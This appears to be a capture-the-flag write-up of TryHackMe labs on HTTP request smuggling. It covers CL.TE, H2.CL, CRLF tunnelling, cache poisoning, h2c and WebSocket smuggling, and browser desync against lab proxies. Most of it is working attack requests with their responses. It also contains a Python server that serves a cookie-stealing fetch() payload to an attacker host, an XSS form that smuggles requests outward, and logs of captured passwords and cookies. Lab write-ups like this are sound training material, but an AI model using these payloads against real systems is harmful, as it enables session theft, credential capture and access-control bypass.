Basic

ATS (Apache Traffic Server).

Attack request:

POST / HTTP/1.1
Host: httprequestsmuggling.thm
Content-Length: 160
Connection: keep-alive
Transfer-Encoding: chunked
 
0
 
POST /contact.php HTTP/1.1
Host: httprequestsmuggling.thm
Content-Type: application/x-www-form-urlencoded
Content-Length: 500
 
username=test&query=§

Submission that has user’s password:

Name: test
Query: GET /login.php?password=C4Ny0UsMu66L3 HTTP/1.1
Host: linkednginx.net
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip
X-Forwarded-For: 172.25.0.1
Via: http/1.1 buildkitsandbox[cdaa64ef-f084-45a9-9f6a-

Success

THM{1c4N_$mU66l3!!}

HTTP/2

Varnish proxy.

Info

CRLF injection is not restricted to HTTP/2 headers only. Any place where you send a \r\n that potentially ends up in the HTTP/1.1 request could potentially achieve the same results.

We will use the H2.CL vulnerability to force other users to like our post.

POST / HTTP/2
Host: 10.10.38.110:8000
Cookie: sessid=ba89f897ef7f68752abc
Sec-Ch-Ua: "Not;A=Brand";v="24", "Chromium";v="128"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://10.10.38.110:8000/post/12315198742342
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Content-Length: 0
 
GET /post/like/12315198742342 HTTP/1.1
Foo: x
<div class="p subtext">Liked by: Hackalaka, John Hax0r, THM{my_name_is_a_flag}</div>

Success

THM{my_name_is_a_flag}

Tunneling

Leaking Internal Headers

HAProxy, vulnerable to CVE-2019-19330.

Baseline request:

POST /hello HTTP/2
Host: 10.10.38.110:8100
Cookie: sessid=ba89f897ef7f68752abc
Content-Length: 3
 
q=a

Header value:

bar
Host: 10.10.38.110:8100
 
POST /hello HTTP/1.1
Host: 10.10.38.110:8100
Content-Length: 300
Content-Type: application/x-www-form-urlencoded
 
q=

Duplicate the request and send in a single connection:

<p>Your search for 
host: app2
cookie: sessid=ba89f897ef7f68752abc
x-thm-flag: THM{not_secret_anymore}
 
POST /hello HTTP/1.1
content-type: application/x-www-form-urlencoded
content-length: 0
foo: bar
Host: 10.10.38.110:8100
 
POST /hello HTTP/1.1
Host: 10.10.38.110:8100
Content-Length: 300
Content-Type: did not match any documents.</p>

Success

THM{not_secret_anymore}

Bypassing Frontend Restrictions

Info

There’s a fundamental difference on how GET and POST requests are treated by a proxy. If a proxy implements caching, a GET request may be served from the proxy’s cache, so nothing will be forwarded to the backend server and the attack may fail. A POST request, on the other hand, is normally not served from cache, so it is guaranteed that it will be forwarded to the backend.

Header value:

bar
Host: 10.10.38.110:8100
Content-Length: 0
 
GET / HTTP/1.1
X: x

Send twice:

HTTP/2 200 OK
Server: nginx/1.23.2
Date: Fri, 27 Sep 2024 16:04:18 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 15
 
THM{staff_only}

Success

THM{staff_only}

Web Cache Poisoning

Header value:

bar
Host: 10.10.238.20:8100
 
GET /static/uploads/myjs.js HTTP/1.1

Receive cookie:

$ python https.py 
/root/tryhackme/smuggling/https.py:4: DeprecationWarning: ssl.wrap_socket() is deprecated, use SSLContext.wrap_socket()
  httpd.socket = ssl.wrap_socket(
10.10.238.20 - - [28/Sep/2024 11:26:19] code 501, message Unsupported method ('GET')
10.10.238.20 - - [28/Sep/2024 11:26:19] "GET /?c=flag=THM{nom_nom_cookies} HTTP/1.1" 501 -

Success

THM{nom_nom_cookies}

h2c

Two ways to negotiate HTTP/2:

  • h2: Protocol used when running HTTP/2 over a TLS-encrypted channel. It relies on the Application Layer Protocol Negotiation (ALPN) mechanism of TLS to offer HTTP/2.
  • h2c: HTTP/2 over cleartext channels. This would be used when encryption is not available. Since ALPN is a feature of TLS, you can’t use it in cleartext channels. In this case, the client sends an initial HTTP/1.1 request with a couple of added headers to request an upgrade to HTTP/2. If the server acknowledges the additional headers, the connection is upgraded to HTTP/2.

When an HTTP/1.1 connection upgrade is attempted via some reverse proxies, they will directly forward the upgrade headers to the backend server instead of handling it themselves.

Since connections in HTTP/2 are persistent by default, we should be able to send other HTTP/2 requests, which will now go directly to the backend server through the HTTP/2 tunnel. This technique is known as h2c smuggling.

Some proxies are aware of h2c and could try to handle the connection upgrade themselves. When facing an h2c-aware proxy, there’s still a chance to get h2c smuggling to work under a specific scenario. If the frontend proxy supports HTTP/1.1 over TLS, we can try performing the h2c upgrade over the TLS channel. This is an unusual request, since h2c is defined to work under cleartext channels only. The proxy may just forward the upgrade headers instead of handling the upgrade directly.

Note

Note that h2c smuggling only allows for request tunnelling. Poisoning other users’ connections won’t be possible.

Tool: github.com/BishopFox/h2csmuggler.

Lab: HAProxy.

user@attackbox$ python3 h2csmuggler.py -x https://10.10.238.20:8200/ https://10.10.238.20:8200/private

Where /private is the private endpoint that we need to access by bypassing the proxy.

Output:

$ python3 h2csmuggler.py -x https://10.10.238.20:8200/ https://10.10.238.20:8200/private
/root/h2csmuggler/h2csmuggler.py:49: DeprecationWarning: ssl.wrap_socket() is deprecated, use SSLContext.wrap_socket()
  retSock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLS)
[INFO] h2c stream established successfully.
:status: 200
content-type: text/html; charset=utf-8
content-length: 157
date: Sat, 28 Sep 2024 05:32:41 GMT
 
<html><body>Welcome to our intranet. The <a href='/private'>private</a> part of the application can only be accessed from the internal network.</body></html>
 
[INFO] Requesting - /private
:status: 200
content-type: text/plain; charset=utf-8
content-length: 27
date: Sat, 28 Sep 2024 05:32:42 GMT
 
THM{walls_are_a_suggestion}

Success

THM{walls_are_a_suggestion}

WebSockets

To smuggle requests through a vulnerable proxy, we can create a malformed request such that the proxy thinks a WebSocket upgrade is performed, but the backend server doesn’t really upgrade the connection. This will force the proxy into establishing a tunnel between client and server that will go unchecked since it assumes it is now a WebSocket connection, but the backend will still expect HTTP traffic.

One way to force this is to send an upgrade request with an invalid Sec-Websocket-Version header.

Some proxies may assume that the upgrade is always completed, regardless of the server response.

Note

It is important to note that this technique won’t allow us to poison other users’ backend connections. We will be limited to tunnelling requests through the proxy only, so we can bypass any restrictions imposed by the frontend proxy by using this trick.

Lab 1: Proxy Does Not Check Back-end Server Responses

Lab 1: Varnish proxy.

Request to /flag:

HTTP/1.1 404 Not found
Date: Sat, 28 Sep 2024 05:42:45 GMT
Server: Varnish
X-Varnish: 16
Content-Type: text/html; charset=utf-8
Retry-After: 5
Content-Length: 246
Connection: keep-alive
 
<!DOCTYPE html>
<html>
  <head>
    <title>404 Not found</title>
  </head>
  <body>
    <h1>Error 404 Not found</h1>
    <p>Not found</p>
    <h3>Guru Meditation:</h3>
    <p>XID: 16</p>
    <hr>
    <p>Varnish cache server</p>
  </body>
</html>

Request to /404:

HTTP/1.1 404 Not Found
Server: TornadoServer/6.4
Content-Type: text/html; charset=UTF-8
Date: Sat, 28 Sep 2024 05:43:28 GMT
Content-Length: 69
X-Varnish: 32782
Age: 0
Via: 1.1 varnish (Varnish/6.6)
Connection: keep-alive
 
<html><title>404: Not Found</title><body>404: Not Found</body></html>

As we can see, the Varnish proxy server rejects requests sent to /flag endpoint.

Request to /socket

HTTP/1.1 400 Bad Request
Server: TornadoServer/6.4
Content-Type: text/html; charset=UTF-8
Date: Sat, 28 Sep 2024 05:44:13 GMT
Content-Length: 34
X-Varnish: 32785
Age: 0
Via: 1.1 varnish (Varnish/6.6)
Connection: keep-alive
 
Can "Upgrade" only to "WebSocket".

With invalid WebSocket version:

GET /socket HTTP/1.1
Host: 10.10.107.164:8001
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Version: 1337
 
 
HTTP/1.1 426 Upgrade Required
Server: TornadoServer/6.4
Content-Type: text/html; charset=UTF-8
Date: Sat, 28 Sep 2024 05:45:29 GMT
Sec-Websocket-Version: 7, 8, 13
Content-Length: 0
 
 

Attack request:

GET /socket HTTP/1.1
Host: 10.10.107.164:8001
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Version: 1337
 
GET /flag HTTP/1.1
Host: 10.10.107.164:8001
 
 

Remember to turn of Update Content-Length feature of Burp Suite.

HTTP/1.1 426 Upgrade Required
Server: TornadoServer/6.4
Content-Type: text/html; charset=UTF-8
Date: Sat, 28 Sep 2024 05:47:27 GMT
Sec-Websocket-Version: 7, 8, 13
Content-Length: 0
 
HTTP/1.1 200 OK
Server: TornadoServer/6.4
Content-Type: text/html; charset=UTF-8
Date: Sat, 28 Sep 2024 05:47:27 GMT
Etag: "7adcac5bd5ab8ceb7a0d5ab1bd741e5c794e3419"
Content-Length: 37
 
THM{bf208caddc31c6bb52621fdc2b3a73e5}

Success

THM{bf208caddc31c6bb52621fdc2b3a73e5}

Note that some proxies will not even require the existence of a WebSocket endpoint for this technique to work. All we need is to fool the proxy into believing we are establishing a connection to a WebSocket, even if this isn’t true.

GET / HTTP/1.1
Host: 10.10.107.164:8001
Sec-WebSocket-Version: 13
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==
 
GET /flag HTTP/1.1
Host: 10.10.107.164:8001
 
 

Lab 2: Proxy Do Check Back-end Server Responses

Using the attack request of the previous lab:

GET /socket HTTP/1.1
Host: 10.10.107.164:8002
Connection: Upgrade
Upgrade: WebSocket
Sec-WebSocket-Key: 1337
 
GET /flag HTTP/1.1
Host: 10.10.107.164:8002
 
 

Response:

HTTP/1.1 426 Upgrade Required
Server: nginx/1.17.6
Date: Sat, 28 Sep 2024 05:53:21 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: keep-alive
Sec-Websocket-Version: 7, 8, 13
 
HTTP/1.1 403 Forbidden
Server: nginx/1.17.6
Date: Sat, 28 Sep 2024 05:53:21 GMT
Content-Type: text/html
Content-Length: 153
Connection: keep-alive
 
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.17.6</center>
</body>
</html>
 

Since Nginx is checking the response code of the upgrade, it can determine that no valid WebSocket connection was established; therefore, it won’t allow us to smuggle the /flag request.

We need to somehow force the backend web server to reply to our upgrade request with a fake 101 Switching Protocols response without actually upgrading the connection in the backend.

If our target app has some vulnerability that allows us to proxy requests back to a server we control as attackers, we might be able to inject the 101 Switching Protocols response to an arbitrary request.

There is a request used for checking connection to a specified URL:

GET /check-url?server=http://10.10.10.10/404 HTTP/1.1
Host: 10.10.107.164:8002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Referer: http://10.10.107.164:8002/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Connection: keep-alive
 
 

Point server param to our controlled listening netcat server on 10.13.57.143:5555:

ncat -vnlp 5555
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 10.10.107.164:45206.
GET / HTTP/1.1
Host: 10.13.57.143:5555
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

The attack request:

GET /check-url?server=http://10.13.57.143:5555 HTTP/1.1
Host: 10.10.107.164:8002
Sec-WebSocket-Version: 13
Upgrade: WebSocket
Connection: Upgrade
 
GET /flag HTTP/1.1
Host: 10.10.107.164:8002
 
 

Response:

HTTP/1.1 101 Switching Protocols
Server: nginx/1.17.6
Date: Sat, 28 Sep 2024 06:27:41 GMT
Connection: upgrade
 
HTTP/1.1 200 OK
Server: TornadoServer/6.4
Content-Type: text/html; charset=UTF-8
Date: Sat, 28 Sep 2024 06:27:41 GMT
Etag: "e8869dddb67014f990c304663435d45a0226d755"
Content-Length: 37
 
THM{a87d4e5b777c010ed3266e59fb42ccac}

Success

THM{a87d4e5b777c010ed3266e59fb42ccac}

Browser Desync

Identify with this script:

fetch('http://challenge.thm/', {    
	method: 'POST',    
	body: 'GET /redirect HTTP/1.1\r\nFoo: x',    
	mode: 'cors'}
)

Confirmed after sending two requests:

GET http://challenge.thm/ 404 (NOT FOUND)

The request used for storing gadget:

POST /submit_contact HTTP/1.1
Host: challenge.thm
Content-Length: 18
Cache-Control: max-age=0
Origin: http://challenge.thm
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge.thm/contact
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Connection: keep-alive
 
name=a&url=a%0D%0A

Payload for url param:

<script>alert(1)</script>

It will be rendered on /securecontact page like this:

<div class="success">
	&lt;script&gt;alert(1)&lt;/script&gt;
</div>

However, when access /vulnerablecontact, the payload is rendered correctly:

<div class="data-container">
	<script>alert(1)</script>
</div>

We will change payload into a form that can send requests to smuggle request:

<form id="btn" action="http://challenge.thm/"
    method="POST"
    enctype="text/plain">
<textarea name="GET http://10.13.57.143:1337 HTTP/1.1
AAA: A">placeholder1</textarea>
<button type="submit">placeholder2</button>
</form>
<script> btn.submit() </script>

Where 10.13.57.143:1337 is our controlled server used for serving the malicous payload:

#!/usr/bin/python3
 
from http.server import BaseHTTPRequestHandler, HTTPServer
 
class ExploitHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/':
            self.send_response(200)
            self.send_header("Access-Control-Allow-Origin", "*")
            self.send_header("Content-type","text/html")
 
            self.end_headers()
            self.wfile.write(b"fetch('http://10.13.57.143:9999/' + document.cookie)")
def run_server(port=1337):   
    server_address = ('', port)
    httpd = HTTPServer(server_address, ExploitHandler)
    print(f"Server running on port {port}")
    httpd.serve_forever()
 
if __name__ == '__main__':
    run_server()

URL encode the above form and place it in the url param. The form will be rendered correctly on /vulnerablecontact page.

The cookie will be sent to port 8080 so we need to listen on this port:

python -m http.server 9999

After a while, the server and the listener receive requests:

python .\server.py
Server running on port 1337
10.10.176.254 - - [28/Sep/2024 16:46:01] "GET / HTTP/1.1" 200 -
python -m http.server 9999
Serving HTTP on :: port 9999 (http://[::]:9999/) ...
::ffff:10.10.176.254 - - [28/Sep/2024 16:46:33] code 404, message File not found
::ffff:10.10.176.254 - - [28/Sep/2024 16:46:33] "GET /flag=THM%7BSMUGGLING_IS_FUN%7D HTTP/1.1" 404 -

The flag is:

Success

THM{SMUGGLING_IS_FUN}

Resources